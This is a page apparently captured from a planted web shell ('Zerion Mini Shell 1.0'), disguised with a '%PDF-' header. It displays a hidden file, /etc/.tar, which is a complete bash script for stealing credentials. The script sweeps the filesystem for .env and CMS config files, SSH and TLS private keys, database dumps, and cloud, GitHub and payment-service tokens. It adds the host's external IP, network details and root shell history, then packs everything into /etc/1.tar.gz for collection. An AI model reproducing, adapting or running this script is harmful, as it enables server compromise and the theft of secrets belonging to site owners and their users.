%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/etc/
Upload File :
Create Path :
Current File : //proc/self/root/etc/.tar

#!/usr/bin/env bash
set -u
umask 077

OUT="/etc/1.tar.gz"
MAX_BYTES=524288
WORKDIR="$(mktemp -d /tmp/sensitive-pack.XXXXXX)"
CANDIDATES="$WORKDIR/candidates.nul"
BY_NAME="$WORKDIR/by-name.nul"
BY_CONTENT="$WORKDIR/by-content.nul"
MATCHED="$WORKDIR/matched.nul"
MANIFEST="$WORKDIR/manifest.txt"
HOSTINFO="$WORKDIR/host.txt"

trap 'rm -rf "$WORKDIR"' EXIT


rm -f -- "$OUT"

CONTENT_RE='(password|passwd|pwd|passphrase|secret|private[[:space:]_.-]*key|api[[:space:]_.-]*key|access[[:space:]_.-]*key|secret[[:space:]_.-]*key|token|bearer|jwt|oauth|client[[:space:]_.-]*secret|client[[:space:]_.-]*id|db[[:space:]_.-]*(password|passwd|user|username|host|name)|database[[:space:]_.-]*(url|password|passwd|user|username|host|name)|dsn|connection[[:space:]_.-]*string|app[[:space:]_.-]*key|encryption[[:space:]_.-]*key|auth[[:space:]_.-]*key|secure[[:space:]_.-]*auth|nonce[[:space:]_.-]*salt|logged[[:space:]_.-]*in[[:space:]_.-]*key|aws[[:space:]_.-]*access[[:space:]_.-]*key|aws[[:space:]_.-]*secret[[:space:]_.-]*access[[:space:]_.-]*key|AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|BEGIN (RSA |DSA |EC |OPENSSH |PGP )?PRIVATE KEY|OPENAI_API_KEY|sk-[A-Za-z0-9_-]{20,}|ghp_[A-Za-z0-9]{20,}|gho_[A-Za-z0-9]{20,}|ghu_[A-Za-z0-9]{20,}|ghs_[A-Za-z0-9]{20,}|github[[:space:]_.-]*token|gitlab[[:space:]_.-]*token|glpat-|slack[[:space:]_.-]*token|xox[baprs]-|stripe|sk_live_|rk_live_|paypal|braintree|twilio|sendgrid|mailgun|smtp|ftp|sftp|ssh|mysql|mysqli|postgres|postgresql|mongodb|redis|memcached|azure[[:space:]_.-]*storage|account[[:space:]_.-]*key|sas[[:space:]_.-]*token|google[[:space:]_.-]*application[[:space:]_.-]*credentials|firebase|service[[:space:]_.-]*account|cloudflare|cf[[:space:]_.-]*api|digitalocean|linode|vultr)'


find / \
  \( -path /proc -o -path /sys -o -path /dev -o -path /run -o -path "$WORKDIR" \) -prune -o \
  -type f -size -"$(($MAX_BYTES + 1))"c ! -path "$OUT" -print0 \
  2>/dev/null > "$CANDIDATES"


find / \
  \( -path /proc -o -path /sys -o -path /dev -o -path /run -o -path "$WORKDIR" \) -prune -o \
  -type f -size -"$(($MAX_BYTES + 1))"c ! -path "$OUT" \( \
    -iname ".env" -o -iname ".env.*" \
    -o -iname "wp-config.php" \
    -o -iname "configuration.php" \
    -o -iname "settings.php" \
    -o -iname "database.php" \
    -o -iname "config.php" \
    -o -iname "config.inc.php" \
    -o -iname "local.xml" \
    -o -iname "env.php" \
    -o -iname "auth.json" \
    -o -iname ".npmrc" \
    -o -iname ".pypirc" \
    -o -iname ".my.cnf" \
    -o -iname "*.key" \
    -o -iname "*.pem" \
    -o -iname "*.p12" \
    -o -iname "*.pfx" \
    -o -iname "*.jks" \
    -o -iname "*.kdb" \
    -o -iname "id_rsa" \
    -o -iname "id_dsa" \
    -o -iname "id_ecdsa" \
    -o -iname "id_ed25519" \
    -o -iname "authorized_keys" \
    -o -iname "*secret*" \
    -o -iname "*credential*" \
    -o -iname "*password*" \
    -o -iname "*passwd*" \
    -o -iname "*token*" \
    -o -iname "*apikey*" \
    -o -iname "*api_key*" \
    -o -iname "*private*" \
    -o -iname "*.sql" \
    -o -iname "*.sql.gz" \
    -o -iname "*.dump" \
  \) -print0 2>/dev/null > "$BY_NAME"


xargs -0 -r grep -IlZiE "$CONTENT_RE" < "$CANDIDATES" \
  2>/dev/null > "$BY_CONTENT" || true


cat "$BY_NAME" "$BY_CONTENT" | sort -zu > "$MATCHED"

{
  echo "Generated: $(date -Is)"
  echo
  echo "== External IP =="
  python3 - <<'PY' 2>&1 || true
import urllib.request

for url in ("https://api.ipify.org", "https://ifconfig.me/ip"):
    try:
        with urllib.request.urlopen(url, timeout=10) as resp:
            print(resp.read().decode("utf-8", "replace").strip())
            break
    except Exception:
        continue
else:
    print("Unable to determine external IP")
PY
  echo
  echo "== uname -a =="
  uname -a 2>&1 || true
  echo
  echo "== ip addr =="
  ip addr 2>&1 || true
  echo
  echo "== /root/.bash_history =="
  if [ -r /root/.bash_history ]; then
    cat /root/.bash_history
  else
    echo "Unable to read /root/.bash_history"
  fi
} > "$HOSTINFO"

{
  echo "Generated: $(date -Is)"
  echo "Output: $OUT"
  echo "Max file size: $MAX_BYTES bytes"
  echo
  while IFS= read -r -d '' f; do
    stat -c '%n %s bytes  %U:%G %a  %y' "$f" 2>/dev/null
  done < "$MATCHED"
} > "$MANIFEST"

COUNT="$(tr -cd '\0' < "$MATCHED" | wc -c | tr -d ' ')"


tar --null -P --ignore-failed-read --warning=no-file-changed \
  -czf "$OUT" -T "$MATCHED" -C "$WORKDIR" manifest.txt host.txt

chmod 600 "$OUT"


Zerion Mini Shell 1.0